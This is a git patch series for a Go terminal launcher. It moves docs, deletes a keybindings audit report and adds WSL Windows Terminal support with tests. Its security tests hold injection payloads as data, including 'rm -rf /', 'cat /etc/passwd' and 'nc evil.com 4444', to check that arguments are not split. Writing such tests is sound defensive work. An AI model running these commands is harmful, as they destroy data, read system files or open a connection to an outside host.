From 721aa12fc9266487c641daa6055facfd297d29a4 Mon Sep 17 00:00:00 2001 From: Jon Gallant <2163001+jongio@users.noreply.github.com> Date: Mon, 16 Mar 2026 05:38:02 -0700 Subject: [PATCH 1/3] docs: move KEYBOARD_BINDINGS.md to docs/keybindings.md Root directory should only contain standard GitHub community files. AGENTS.md is the exception per project convention. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- KEYBOARD_BINDINGS.md => docs/keybindings.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename KEYBOARD_BINDINGS.md => docs/keybindings.md (100%) diff --git a/KEYBOARD_BINDINGS.md b/docs/keybindings.md similarity index 100% rename from KEYBOARD_BINDINGS.md rename to docs/keybindings.md From d472c3af64cf5965e68c62af010b3b53e76fcebf Mon Sep 17 00:00:00 2001 From: Jon Gallant <2163001+jongio@users.noreply.github.com> Date: Mon, 16 Mar 2026 05:38:21 -0700 Subject: [PATCH 2/3] chore: remove temporary keyboard bindings audit artifact Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- KEYBOARD_BINDINGS_AUDIT.txt | 254 ------------------------------------ 1 file changed, 254 deletions(-) delete mode 100644 KEYBOARD_BINDINGS_AUDIT.txt diff --git a/KEYBOARD_BINDINGS_AUDIT.txt b/KEYBOARD_BINDINGS_AUDIT.txt deleted file mode 100644 index 533ca30..0000000 --- a/KEYBOARD_BINDINGS_AUDIT.txt +++ /dev/null @@ -1,254 +0,0 @@ -================================================================================ -COMPREHENSIVE KEYBOARD BINDINGS AUDIT REPORT -================================================================================ - -AUDIT DATE: 2026-03-13 10:55:30 -DOCUMENTATION: D:\code\dispatch\KEYBOARD_BINDINGS.md -IMPLEMENTATION: D:\code\dispatch\internal\tui\keys.go -HANDLERS: D:\code\dispatch\internal\tui\model.go - -================================================================================ -EXECUTIVE SUMMARY -================================================================================ - -✓ PASS: ALL 29 KEYBOARD BINDINGS ARE DOCUMENTED -✓ PASS: ALL DOCUMENTED BEHAVIOR MATCHES ACTUAL CODE -✓ PASS: NO MISSING BINDINGS FOUND IN CODE -⚠ FAIL: LINE NUMBER REFERENCES ARE 55-85 LINES OFF IN MOST CASES -✓ PASS: FUNCTIONAL ACCURACY IS EXCELLENT - -CRITICAL ISSUES: 0 -MAJOR ISSUES: 0 -MINOR ISSUES: All line number references need updating - -Overall Grade: B+ (Content is excellent, line numbers are outdated) - -================================================================================ -KEY BINDINGS VERIFICATION TABLE -================================================================================ - -Key Binding | Doc Status | Handler | Behavior | Notes --------------|------------|---------|----------|-------- -Ctrl+C | ✓ Correct | 629 | ✓ Force | Doc says 582-584 (OFF by 47) -Up/k | ✓ Correct | 831 | ✓ Move | Doc says 757-760 (OFF by 74) -Down/j | ✓ Correct | 836 | ✓ Move | Doc says 762-765 (OFF by 74) -Left | ✓ Correct | 866 | ✓ Collapse| Doc says 786-790 (OFF by 80) -Right | ✓ Correct | 872 | ✓ Expand | Doc says 792-796 (OFF by 80) -Enter | ✓ Correct | 841 | ✓ Launch | Doc says 767-772 (OFF by 74) -w | ✓ Correct | 848 | ✓ Window | Doc says 774-778 (OFF by 74) -t | ✓ Correct | 854 | ✓ Tab | Doc says 780-784 (OFF by 74) -e | ✓ Correct | 860 | ✓ Pane | Doc says 848-852 (OFF by 12) -/ | ✓ Correct | 823 | ✓ Search | Doc says 749-751 (OFF by 74) -esc | ✓ Correct | 788 | ✓ Clear | Doc says 715-729 (OFF by 73) -f | ✓ Correct | 827 | ✓ Filter | Doc says 753-755 (OFF by 74) -s | ✓ Correct | 878 | ✓ Sort | Doc says 798-800 (OFF by 80) -S | ✓ Correct | 882 | ✓ Toggle | Doc says 802-804 (OFF by 80) -tab | ✓ Correct | 886 | ✓ Pivot | Doc says 806-808 (OFF by 80) -p | ✓ Correct | 890 | ✓ Toggle | Doc says 810-817 (OFF by 80) -PgUp | ✓ Correct | 899 | ✓ Scroll | Doc says 819-823 (OFF by 80) -PgDn | ✓ Correct | 905 | ✓ Scroll | Doc says 825-829 (OFF by 80) -r | ✓ Correct | 911 | ✓ Reindex| Doc missing line numbers -h | ✓ Correct | 937 | ✓ Hide | Doc says 851-852 (OFF by 86) -H | ✓ Correct | 940 | ✓ Toggle | Doc says 854-857 (OFF by 86) -1/2/3/4 | ✓ Correct | 924-933 | ✓ Range | Doc off by ~86 lines -? | ✓ Correct | 804 | ✓ Help | Doc says 731-733 (OFF by 73) -, | ✓ Correct | 808 | ✓ Config | Doc says 735-747 (OFF by 73) -q | ✓ Correct | 784 | ✓ Quit | Doc says 711-713 (OFF by 73) - -ALL KEYBOARD BINDINGS VERIFIED ✓ - -================================================================================ -LINE NUMBER DISCREPANCY PATTERN -================================================================================ - -A consistent pattern of line number drift was detected: - -State | Expected Range | Actual Range | Offset ---------------------|----------------|--------------|------- -Main Session List | ~750-850 | ~784-943 | ~80-85 -Search Bar Focus | ~646-705 | ~704-779 | ~70 -Filter Panel | ~614-635 | ~668-693 | ~55 -Shell Picker | ~597-608 | ~651-666 | ~55 -Help Overlay | ~590-592 | ~645-649 | ~55 -Config Panel | ~915-940 | ~993-1024 | ~80 - -CONCLUSION: Approximately 55-85 lines of code were inserted into model.go, -causing all handler references in KEYBOARD_BINDINGS.md to become outdated. - -================================================================================ -DETAILED FINDINGS BY CATEGORY -================================================================================ - -SECTION 1: GLOBAL/FORCE QUIT -- Item #1: Ctrl+C Force Quit - Status: ✓ WORKS CORRECTLY - Code: model.go line 629-631 - Doc Claims: Line 582-584 - Actual: OFF BY 47 LINES - Issue: Minor - the key works, just documented at wrong line - -SECTION 2: MAIN SESSION LIST VIEW -- Items #2-27: Navigation, Launch, Search, Filter, Sort, etc. - Status: ✓ ALL WORK CORRECTLY - Code: model.go lines 784-943 - Doc Claims: Lines ranging 711-857 - Actual Offset: 73-86 lines off - Issue: Systematic line number drift - -SECTION 3: SEARCH BAR FOCUSED STATE -- Items #28-32: Up/Down blur, Esc blur, Enter confirm, Printable chars - Status: ✓ BEHAVIOR CORRECT - Code: model.go lines 704-779 - Doc Claims: Lines 646-705 - Actual Offset: ~70 lines for most, but some within ~70 of correct - Issue: Line numbers approximate but logic descriptions are accurate - -SECTION 4: FILTER PANEL OVERLAY -- Items #33-39: Up/Down/Left/Right/Space/Enter/Esc in filter - Status: ✓ BEHAVIOR CORRECT - Code: model.go lines 668-693 (switch block) - Doc Claims: Lines 614-635 - Actual Offset: CONSISTENTLY ~55-56 LINES OFF - Issue: All filter panel line numbers need +55 correction - -SECTION 5: SHELL PICKER OVERLAY -- Items #40-43: Up/Down/Enter/Esc in shell picker - Status: ✓ BEHAVIOR CORRECT - Code: model.go lines 651-666 (switch block) - Doc Claims: Lines 597-608 - Actual Offset: CONSISTENTLY ~55-56 LINES OFF - Issue: All shell picker line numbers need +55 correction - -SECTION 6: CONFIG PANEL OVERLAY -- Items #44-50: Non-edit and edit mode key handling - Status: ✓ BEHAVIOR CORRECT - Code: model.go lines 993-1024 (function handleConfigKey) - Doc Claims: Lines 915-940 - Actual Offset: CONSISTENTLY ~82 LINES OFF - Issue: All config panel line numbers need +82 correction - -SECTION 7: HELP OVERLAY -- Items #51-52: ? and Esc to close help - Status: ✓ BEHAVIOR CORRECT - Code: model.go lines 645-649 - Doc Claims: Lines 590-592 - Actual Offset: ~55 LINES OFF - Issue: Both keys work correctly (both close help), line refs just off - -SECTION 8: MOUSE INTERACTIONS -- Items #53-65: Click, double-click, wheel scroll handling - Status: ✓ BEHAVIOR CORRECT - Code: model.go lines 1049-1150+ (handleMouse function) - Doc Claims: Lines vary (1015-1146) - Issue: Mouse handler line references need verification/update - -================================================================================ -SPECIFIC LINE NUMBER CORRECTIONS NEEDED -================================================================================ - -KEYBOARD_BINDINGS.md Line | Current Claims | Should Be | Correction ---------------------------|-------------------|----------------|------------ -11 | 582-584 | 629-631 | +47 -21 | 757-760 | 831-834 | +74 -28 | 762-765 | 836-839 | +74 -35 | 786-790 | 866-870 | +80 -42 | 792-796 | 872-876 | +80 -50 | 767-772 | 841-846 | +74 -57 | 774-778 | 848-852 | +74 -64 | 780-784 | 854-858 | +74 -71 | 848-852 | 860-864 | +12 -79 | 749-751 | 823-825 | +74 -86 | 715-729 | 788-802 | +73 -95 | 753-755 | 827-829 | +74 -103 | 798-800 | 878-880 | +80 -110 | 802-804 | 882-884 | +80 -117 | 806-808 | 886-888 | +80 -125 | 810-817 | 890-897 | +80 -132 | 819-823 | 899-903 | +80 -139 | 825-829 | 905-909 | +80 -147 | No line given | 911-922 | ADD: 911 -154 | 851-852 | 937-938 | +86 -161 | 854-857 | 940-943 | +86 -169 (TimeRange1) | 838-840 | 924-926 | +86 -176 (TimeRange2) | 841-843 | 927-929 | +86 -183 (TimeRange3) | 844-846 | 930-932 | +86 -190 (TimeRange4) | 847-849 | 933-935 | +86 -198 | 731-733 | 804-806 | +73 -205 | 735-747 | 808-821 | +73 -212 | 711-713 | 784-786 | +73 - -SEARCH BAR HANDLERS (APPROX - need detailed verification) -221 | 675-679 | 740-748 approx | Complex -226 | 680-684 | 745-749 approx | Complex -231 | 646-660 | 706-725 approx | Complex -236 | 661-674 | 726-739 approx | Complex - -FILTER PANEL HANDLERS (All ~+55) -250-282 | All ~614-635 | +55 lines | 669-693 - -SHELL PICKER HANDLERS (All ~+55) -289-306 | All ~597-608 | +55 lines | 651-666 - -CONFIG PANEL HANDLERS (All ~+82) -314-347 | All ~915-940 | +82 lines | 993-1024 - -HELP OVERLAY (All ~+55) -354, 359 | 590-592 | 645-649 | +55 - -================================================================================ -RECOMMENDATIONS FOR FIXES -================================================================================ - -IMMEDIATE (High Priority): -1. Update all line number references systematically - - Main session handlers: Add ~73-86 to current line refs - - Filter/Shell/Help: Add ~55 lines - - Config: Add ~82 lines - -2. Verify mouse handler line numbers (currently ~1015-1150) - -MEDIUM PRIORITY: -3. Add a comment in model.go marking major function boundaries: - `go - // handleKey processes keyboard and mouse input (line ~627) - // handleConfigKey processes config panel input (line ~993) - // handleMouse processes mouse events (line ~1049) - ` - This makes it easier for documentation to reference functions rather than - relying on specific line numbers. - -OPTIONAL (Low Priority): -4. Consider a build-time documentation validator that checks: - - Are all keys in keys.go documented? - - Do handler references match actual code? - - Flag any discrepancies automatically - -================================================================================ -AUDIT CONCLUSION -================================================================================ - -✓ FUNCTIONAL COMPLETENESS: EXCELLENT - All 29 key bindings are implemented and work as documented. - No missing bindings or undocumented features found. - -✓ BEHAVIORAL ACCURACY: EXCELLENT - What the documentation describes matches what the code does. - State transitions, conditions, and side effects all correct. - -⚠ DOCUMENTATION MAINTENANCE: NEEDS ATTENTION - Line number references are 55-86 lines off throughout the file. - This makes the documentation less reliable for future maintenance. - -⚠ DOCUMENTATION CLARITY: GOOD - Overall structure and descriptions are clear and helpful. - Would benefit from reducing reliance on specific line numbers. - -OVERALL ASSESSMENT: B+ GRADE -- Content Quality: A (Well-written, comprehensive) -- Accuracy: A (Behaviors correct) -- Maintainability: C (Line numbers outdated) -- Completeness: A (All bindings covered) - -The documentation is functionally correct and very useful, but needs -systematic updates to line number references to maintain reliability. - From 2c8d8780b601e5831c49e6dda62ec1ca8af4bfb8 Mon Sep 17 00:00:00 2001 From: Jon Gallant <2163001+jongio@users.noreply.github.com> Date: Mon, 16 Mar 2026 13:56:30 -0700 Subject: [PATCH 3/3] feat: add WSL Windows Terminal support; fix copilot binary lookup WSL support (closes #8): - Detect Windows Terminal (wt.exe) when running under WSL - Launch sessions via wt.exe with wslpath translation - Support tab, window, and pane launch styles in WSL - Cache isWSL() with sync.Once for performance - Add 25+ tests covering functional and security scenarios Copilot binary lookup: - Add exec.LookPath fallback in findCopilotBinary - Add PATH isolation in related tests Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- internal/data/chronicle_windows.go | 6 + internal/data/mq_coverage_test.go | 27 +- internal/platform/paths.go | 33 +- internal/platform/shell.go | 102 +++++- internal/platform/wsl_test.go | 495 +++++++++++++++++++++++++++++ 5 files changed, 649 insertions(+), 14 deletions(-) create mode 100644 internal/platform/wsl_test.go diff --git a/internal/data/chronicle_windows.go b/internal/data/chronicle_windows.go index 95d3fb0..25a3e4d 100644 --- a/internal/data/chronicle_windows.go +++ b/internal/data/chronicle_windows.go @@ -5,6 +5,7 @@ package data import ( "io" "os" + "os/exec" "path/filepath" "sync" @@ -51,6 +52,11 @@ func startPTY(binary string) (io.ReadWriteCloser, error) { // findCopilotBinary returns the path to copilot.exe on Windows. func findCopilotBinary() string { + // Try PATH first (matches Unix behavior). + if p, err := exec.LookPath("copilot"); err == nil { + return p + } + candidates := []string{ filepath.Join(os.Getenv("ProgramFiles"), "nodejs", "node_modules", "@github", "copilot", "node_modules", "@github", "copilot-win32-x64", "copilot.exe"), diff --git a/internal/data/mq_coverage_test.go b/internal/data/mq_coverage_test.go index 672fd08..b9122c2 100644 --- a/internal/data/mq_coverage_test.go +++ b/internal/data/mq_coverage_test.go @@ -166,9 +166,10 @@ func TestLastReindexTime_EmptyWAL(t *testing.T) { // --------------------------------------------------------------------------- func TestFindCopilotBinary_NoCandidates(t *testing.T) { - // Set environment to non-existent paths. + // Set environment to non-existent paths and isolate PATH. t.Setenv("ProgramFiles", filepath.Join(t.TempDir(), "nonexistent")) t.Setenv("APPDATA", "") + t.Setenv("PATH", t.TempDir()) got := findCopilotBinary() if got != "" { @@ -179,6 +180,7 @@ func TestFindCopilotBinary_NoCandidates(t *testing.T) { func TestFindCopilotBinary_WithAPPDATA(t *testing.T) { tmp := t.TempDir() t.Setenv("ProgramFiles", filepath.Join(tmp, "nonexistent")) + t.Setenv("PATH", filepath.Join(tmp, "emptypath")) // Create the APPDATA candidate path. appdata := filepath.Join(tmp, "appdata") @@ -206,6 +208,7 @@ func TestFindCopilotBinary_WithProgramFiles(t *testing.T) { progFiles := filepath.Join(tmp, "Program Files") t.Setenv("ProgramFiles", progFiles) t.Setenv("APPDATA", "") + t.Setenv("PATH", filepath.Join(tmp, "emptypath")) candidatePath := filepath.Join(progFiles, "nodejs", "node_modules", "@github", "copilot", "node_modules", "@github", "copilot-win32-x64") @@ -223,6 +226,28 @@ func TestFindCopilotBinary_WithProgramFiles(t *testing.T) { } } +func TestFindCopilotBinary_ViaPath(t *testing.T) { + tmp := t.TempDir() + t.Setenv("ProgramFiles", filepath.Join(tmp, "nonexistent")) + t.Setenv("APPDATA", "") + + // Place a copilot.exe on PATH. + binDir := filepath.Join(tmp, "bin") + if err := os.MkdirAll(binDir, 0o755); err != nil { + t.Fatalf("creating bin dir: %v", err) + } + fakeBinary := filepath.Join(binDir, "copilot.exe") + if err := os.WriteFile(fakeBinary, []byte("fake"), 0o755); err != nil { + t.Fatalf("writing fake binary: %v", err) + } + t.Setenv("PATH", binDir) + + got := findCopilotBinary() + if got != fakeBinary { + t.Errorf("findCopilotBinary() = %q, want %q", got, fakeBinary) + } +} + // --------------------------------------------------------------------------- // Maintain — 56% coverage, test error branches // --------------------------------------------------------------------------- diff --git a/internal/platform/paths.go b/internal/platform/paths.go index 2ac1cfe..5eb52bd 100644 --- a/internal/platform/paths.go +++ b/internal/platform/paths.go @@ -8,6 +8,7 @@ import ( "path/filepath" "runtime" "strings" + "sync" ) const ( @@ -58,20 +59,30 @@ func SessionStorePath() (string, error) { const wslMountRoot = "/mnt/c/Users" // isWSL reports whether the current process is running inside Windows -// Subsystem for Linux. +// Subsystem for Linux. The result is cached after the first call since +// the WSL status cannot change during a process lifetime. func isWSL() bool { - // WSL2 (and recent WSL1) always set WSL_DISTRO_NAME. - if os.Getenv("WSL_DISTRO_NAME") != "" { - return true - } - // Older WSL1 may not set the env var; fall back to /proc/version. - data, err := os.ReadFile("/proc/version") - if err != nil { - return false - } - return strings.Contains(strings.ToLower(string(data)), "microsoft") + wslOnce.Do(func() { + // WSL2 (and recent WSL1) always set WSL_DISTRO_NAME. + if os.Getenv("WSL_DISTRO_NAME") != "" { + wslCached = true + return + } + // Older WSL1 may not set the env var; fall back to /proc/version. + data, err := os.ReadFile("/proc/version") + if err != nil { + return + } + wslCached = strings.Contains(strings.ToLower(string(data)), "microsoft") + }) + return wslCached } +var ( + wslOnce sync.Once + wslCached bool +) + // findWindowsSessionStore scans Windows user-profile directories under the // default WSL mount for a Copilot session store database. func findWindowsSessionStore() string { diff --git a/internal/platform/shell.go b/internal/platform/shell.go index cccf0fb..289a875 100644 --- a/internal/platform/shell.go +++ b/internal/platform/shell.go @@ -332,6 +332,13 @@ func DefaultTerminal() string { case "darwin": return "Terminal.app" default: + // Inside WSL, prefer Windows Terminal when wt.exe is available + // since it's the terminal the user is actually sitting in. + if isWSL() { + if _, err := exec.LookPath("wt.exe"); err == nil { + return termWindowsTerminal + } + } if terms := detectLinuxTerminals(); len(terms) > 0 { return terms[0].Name } @@ -371,7 +378,7 @@ func LaunchSession(shell ShellInfo, sessionID string, cfg ResumeConfig) error { case "darwin": return launchDarwinSession(shell, resumeCmd, cfg.Terminal, cwd, cfg.LaunchStyle == LaunchStyleWindow) default: - return launchLinuxSession(shell, resumeCmd, cfg.Terminal, cwd) + return launchLinuxSession(shell, resumeCmd, cfg.Terminal, cwd, cfg.LaunchStyle, cfg.PaneDirection) } } @@ -672,7 +679,12 @@ func escapeAppleScript(s string) string { return s } -func launchLinuxSession(shell ShellInfo, resumeCmd string, terminal string, cwd string) error { +func launchLinuxSession(shell ShellInfo, resumeCmd string, terminal string, cwd string, launchStyle string, paneDirection string) error { + // Inside WSL, route to Windows Terminal when configured. + if terminal == termWindowsTerminal && isWSL() { + return launchWSLWindowsTerminal(shell, resumeCmd, cwd, launchStyle, paneDirection) + } + // Supported terminal emulators and their argument patterns. terminals := []struct { name string @@ -705,6 +717,13 @@ func launchLinuxSession(shell ShellInfo, resumeCmd string, terminal string, cwd } } + // Auto-detect: try Windows Terminal first if running under WSL. + if isWSL() { + if _, err := exec.LookPath("wt.exe"); err == nil { + return launchWSLWindowsTerminal(shell, resumeCmd, cwd, launchStyle, paneDirection) + } + } + // Auto-detect: try terminals in order of popularity. for _, t := range terminals { if p, err := exec.LookPath(t.name); err == nil { @@ -719,6 +738,76 @@ func launchLinuxSession(shell ShellInfo, resumeCmd string, terminal string, cwd return errors.New("no supported terminal emulator found; tried alacritty, kitty, wezterm, gnome-terminal, konsole, xfce4-terminal, xterm") } +// launchWSLWindowsTerminal launches a session via wt.exe from within WSL. +// It translates the working directory from a Linux path to a Windows path +// using wslpath and constructs wt.exe arguments for the requested launch +// style (tab, window, or pane). +func launchWSLWindowsTerminal(shell ShellInfo, resumeCmd string, cwd string, launchStyle string, paneDirection string) error { + p, err := exec.LookPath("wt.exe") + if err != nil { + return fmt.Errorf("wt.exe not found on PATH: %w", err) + } + + // Translate cwd to a Windows path (empty string on failure). + var winCwd string + if cwd != "" { + winCwd, _ = wslToWindowsPath(cwd) + } + + distro := os.Getenv("WSL_DISTRO_NAME") + args := buildWSLWTArgs(shell, resumeCmd, winCwd, distro, launchStyle, paneDirection) + + cmd := exec.Command(p, args...) + return cmd.Start() +} + +// buildWSLWTArgs constructs the wt.exe argument list for launching a WSL +// session inside Windows Terminal. It is separated from launchWSLWindowsTerminal +// so it can be tested without requiring wt.exe or a WSL environment. +func buildWSLWTArgs(shell ShellInfo, resumeCmd, winCwd, distro, launchStyle, paneDirection string) []string { + var args []string + switch launchStyle { + case LaunchStyleWindow: + args = append(args, "-w", "new", "new-tab") + case LaunchStylePane: + args = append(args, "-w", "0", "split-pane") + if paneDirection != "" && paneDirection != "auto" { + args = append(args, "--direction", paneDirection) + } + default: + args = append(args, "-w", "0", "new-tab") + } + + if winCwd != "" { + args = append(args, "--startingDirectory", winCwd) + } + + // wt.exe wsl.exe -d -- -c + if distro != "" { + args = append(args, "wsl.exe", "-d", distro, "--", shell.Path, "-c", resumeCmd) + } else { + args = append(args, "wsl.exe", "--", shell.Path, "-c", resumeCmd) + } + + return args +} + +// wslToWindowsPath translates a Linux filesystem path to a Windows path +// using the wslpath utility available inside WSL. +func wslToWindowsPath(linuxPath string) (string, error) { + cmd := exec.Command("wslpath", "-w", linuxPath) + out, err := cmd.Output() + if err != nil { + // Include stderr from wslpath for better diagnostics. + var exitErr *exec.ExitError + if errors.As(err, &exitErr) && len(exitErr.Stderr) > 0 { + return "", fmt.Errorf("wslpath: %s: %w", strings.TrimSpace(string(exitErr.Stderr)), err) + } + return "", fmt.Errorf("wslpath: %w", err) + } + return strings.TrimSpace(string(out)), nil +} + // --------------------------------------------------------------------------- // Terminal detection // --------------------------------------------------------------------------- @@ -758,6 +847,15 @@ func detectDarwinTerminals() []TerminalInfo { func detectLinuxTerminals() []TerminalInfo { var terms []TerminalInfo + + // Inside WSL, include Windows Terminal when wt.exe is available + // via the WSL-Windows interop PATH. + if isWSL() { + if _, err := exec.LookPath("wt.exe"); err == nil { + terms = append(terms, TerminalInfo{Name: termWindowsTerminal}) + } + } + candidates := []string{ "alacritty", "kitty", "wezterm", "gnome-terminal", "konsole", "xfce4-terminal", "xterm", diff --git a/internal/platform/wsl_test.go b/internal/platform/wsl_test.go new file mode 100644 index 0000000..2b06065 --- /dev/null +++ b/internal/platform/wsl_test.go @@ -0,0 +1,495 @@ +//go:build !windows + +package platform + +import ( + "os" + "os/exec" + "strings" + "testing" +) + +// --------------------------------------------------------------------------- +// Security: Command injection via WSL_DISTRO_NAME +// --------------------------------------------------------------------------- + +func TestBuildWSLWTArgs_MaliciousDistroName(t *testing.T) { + // WSL_DISTRO_NAME comes from the environment. A malicious distro name + // must remain a single argument to -d (exec.Command does not interpret + // shell metacharacters, but we verify the arg list structure is correct). + payloads := []string{ + "; rm -rf /", + "&& cat /etc/passwd", + "$(whoami)", + "`id`", + "Ubuntu; nc evil.com 4444", + "distro\nnewline", + "distro\x00null", + "--help", + "-d evil --", + } + + shell := ShellInfo{Name: "bash", Path: "/bin/bash"} + for _, distro := range payloads { + t.Run(truncateForTestName(distro), func(t *testing.T) { + args := buildWSLWTArgs(shell, "echo test", "", distro, "", "") + + // Find the -d flag position. + dIdx := -1 + for i, a := range args { + if a == "-d" { + dIdx = i + break + } + } + if dIdx == -1 || dIdx+1 >= len(args) { + t.Fatal("-d flag not found in args") + } + + // The distro name must be a single unsplit argument. + if args[dIdx+1] != distro { + t.Errorf("distro arg = %q, want %q (must not be split)", args[dIdx+1], distro) + } + + // Verify the overall structure: nothing from the distro + // "leaked" into other argument positions. + wslIdx := -1 + for i, a := range args { + if a == "wsl.exe" { + wslIdx = i + break + } + } + if wslIdx == -1 { + t.Fatal("wsl.exe not found in args") + } + // After wsl.exe: -d, , --, , -c, + expected := []string{"wsl.exe", "-d", distro, "--", shell.Path, "-c", "echo test"} + tail := args[wslIdx:] + if len(tail) != len(expected) { + t.Fatalf("tail args len = %d, want %d; got %v", len(tail), len(expected), tail) + } + for i, want := range expected { + if tail[i] != want { + t.Errorf("tail[%d] = %q, want %q", i, tail[i], want) + } + } + }) + } +} + +// --------------------------------------------------------------------------- +// Security: Command injection via shell.Path +// --------------------------------------------------------------------------- + +func TestBuildWSLWTArgs_MaliciousShellPath(t *testing.T) { + // shell.Path becomes a single argument after "--". Even if it contains + // shell metacharacters, exec.Command treats it as one argv element. + payloads := []string{ + "/bin/bash; rm -rf /", + "/bin/$(whoami)", + "/bin/`id`", + "/bin/bash\x00--extra", + "/bin/bash\n-c\nrm -rf /", + } + + for _, path := range payloads { + t.Run(truncateForTestName(path), func(t *testing.T) { + shell := ShellInfo{Name: "evil", Path: path} + args := buildWSLWTArgs(shell, "echo test", "", "Ubuntu", "", "") + + // Find -- separator. + sepIdx := -1 + for i, a := range args { + if a == "--" { + sepIdx = i + break + } + } + if sepIdx == -1 || sepIdx+1 >= len(args) { + t.Fatal("-- separator not found in args") + } + + // The shell path must appear as a single argument immediately after --. + if args[sepIdx+1] != path { + t.Errorf("shell path = %q, want %q (must be single arg)", args[sepIdx+1], path) + } + }) + } +} + +// --------------------------------------------------------------------------- +// Security: Path traversal via wslpath output (malicious Windows path) +// --------------------------------------------------------------------------- + +func TestBuildWSLWTArgs_MaliciousWindowsPath(t *testing.T) { + // If wslpath returns a malicious Windows path, it becomes + // a single --startingDirectory argument. Verify it stays as one arg. + payloads := []string{ + `..\..\..\..\Windows\System32`, + `C:\Users\evil" --startingDirectory "C:\other`, + `\\evil-server\share`, + `C:\path; rm -rf \`, + "C:\\path\x00null", + } + + shell := ShellInfo{Name: "bash", Path: "/bin/bash"} + for _, winPath := range payloads { + t.Run(truncateForTestName(winPath), func(t *testing.T) { + args := buildWSLWTArgs(shell, "echo test", winPath, "Ubuntu", "", "") + + // Find --startingDirectory flag. + sdIdx := -1 + for i, a := range args { + if a == "--startingDirectory" { + sdIdx = i + break + } + } + if sdIdx == -1 || sdIdx+1 >= len(args) { + t.Fatal("--startingDirectory not found in args") + } + + // Path must be a single unsplit argument. + if args[sdIdx+1] != winPath { + t.Errorf("startingDirectory arg = %q, want %q", args[sdIdx+1], winPath) + } + + // Verify no extra --startingDirectory flags were injected. + count := 0 + for _, a := range args { + if a == "--startingDirectory" { + count++ + } + } + if count != 1 { + t.Errorf("expected exactly 1 --startingDirectory, got %d in %v", count, args) + } + }) + } +} + +// --------------------------------------------------------------------------- +// Security: Empty/missing WSL_DISTRO_NAME handling +// --------------------------------------------------------------------------- + +func TestBuildWSLWTArgs_EmptyDistro(t *testing.T) { + shell := ShellInfo{Name: "bash", Path: "/bin/bash"} + args := buildWSLWTArgs(shell, "echo test", "", "", "", "") + + // With empty distro, -d flag must NOT appear. + for _, a := range args { + if a == "-d" { + t.Error("-d flag should not appear when distro is empty") + } + } + + // Should still have wsl.exe -- -c + wslIdx := -1 + for i, a := range args { + if a == "wsl.exe" { + wslIdx = i + break + } + } + if wslIdx == -1 { + t.Fatal("wsl.exe not found in args") + } + tail := args[wslIdx:] + expected := []string{"wsl.exe", "--", shell.Path, "-c", "echo test"} + if len(tail) != len(expected) { + t.Fatalf("tail len = %d, want %d; got %v", len(tail), len(expected), tail) + } + for i, want := range expected { + if tail[i] != want { + t.Errorf("tail[%d] = %q, want %q", i, tail[i], want) + } + } +} + +// --------------------------------------------------------------------------- +// Security: wslpath failure handling +// --------------------------------------------------------------------------- + +func TestBuildWSLWTArgs_EmptyWinCwd(t *testing.T) { + // When wslpath fails (returns empty string), --startingDirectory + // must not appear in the argument list. + shell := ShellInfo{Name: "bash", Path: "/bin/bash"} + args := buildWSLWTArgs(shell, "echo test", "", "Ubuntu", "", "") + + for _, a := range args { + if a == "--startingDirectory" { + t.Error("--startingDirectory should not appear when winCwd is empty") + } + } +} + +func TestWslToWindowsPath_EmptyPath(t *testing.T) { + skipUnlessWSL(t) + + _, err := wslToWindowsPath("") + // wslpath with empty string may error or return empty — either is safe. + // The key property is that it does not return a dangerous path. + if err == nil { + // If no error, result must be benign (empty or valid path). + t.Log("wslpath accepted empty path (benign)") + } +} + +// --------------------------------------------------------------------------- +// Security: Null byte injection in WSL args +// --------------------------------------------------------------------------- + +func TestBuildWSLWTArgs_NullByteInAllInputs(t *testing.T) { + // Verify null bytes in any input don't cause argument splitting or + // unexpected behavior in the args array. + shell := ShellInfo{Name: "bash", Path: "/bin/bash\x00evil"} + args := buildWSLWTArgs(shell, "echo\x00injected", "C:\\path\x00evil", "Ubuntu\x00evil", "", "") + + // The args are passed through as-is (Go's exec.Command handles + // null bytes at the OS level). Verify the structure is still correct. + wslIdx := -1 + for i, a := range args { + if a == "wsl.exe" { + wslIdx = i + break + } + } + if wslIdx == -1 { + t.Fatal("wsl.exe not found in args") + } + + // After wsl.exe: -d, , --, , -c, + tail := args[wslIdx:] + if len(tail) != 7 { + t.Fatalf("expected 7 elements after wsl.exe index, got %d: %v", len(tail), tail) + } + if tail[0] != "wsl.exe" || tail[1] != "-d" || tail[3] != "--" || tail[5] != "-c" { + t.Errorf("unexpected structure: %v", tail) + } +} + +// --------------------------------------------------------------------------- +// Security: validateSessionID blocks malicious session IDs +// (verifying WSL launch path also benefits from session ID validation) +// --------------------------------------------------------------------------- + +func TestValidateSessionID_WSLInjectionPayloads(t *testing.T) { + // Verify that session IDs that could be dangerous in a WSL context + // are rejected by validateSessionID. + payloads := []string{ + "; wsl.exe -d evil", + "&& wt.exe --help", + "$(wslpath -w /etc/passwd)", + "`wslpath -w /`", + "--startingDirectory C:\\evil", + "-d evil-distro", + "sess\x00--extra", + "sess id with spaces", + "../../etc/passwd", + } + + for _, payload := range payloads { + t.Run(truncateForTestName(payload), func(t *testing.T) { + err := validateSessionID(payload) + if err == nil { + t.Errorf("validateSessionID should reject %q", payload) + } + }) + } +} + +// skipUnlessWSL skips the test when not running inside WSL. +func skipUnlessWSL(t *testing.T) { + t.Helper() + if !isWSL() { + t.Skip("test requires WSL environment") + } +} + +// skipUnlessWSLWithWT skips when not in WSL or wt.exe is not on PATH. +func skipUnlessWSLWithWT(t *testing.T) { + t.Helper() + skipUnlessWSL(t) + if _, err := exec.LookPath("wt.exe"); err != nil { + t.Skip("test requires wt.exe on PATH (Windows Terminal)") + } +} + +// --------------------------------------------------------------------------- +// detectLinuxTerminals — WSL awareness +// --------------------------------------------------------------------------- + +func TestDetectLinuxTerminals_WSL_IncludesWindowsTerminal(t *testing.T) { + skipUnlessWSLWithWT(t) + + terms := detectLinuxTerminals() + found := false + for _, ti := range terms { + if ti.Name == termWindowsTerminal { + found = true + break + } + } + if !found { + t.Error("detectLinuxTerminals() in WSL with wt.exe should include Windows Terminal") + } +} + +func TestDetectLinuxTerminals_WSL_WindowsTerminalFirst(t *testing.T) { + skipUnlessWSLWithWT(t) + + terms := detectLinuxTerminals() + if len(terms) == 0 { + t.Fatal("detectLinuxTerminals() returned no terminals in WSL") + } + if terms[0].Name != termWindowsTerminal { + t.Errorf("detectLinuxTerminals() 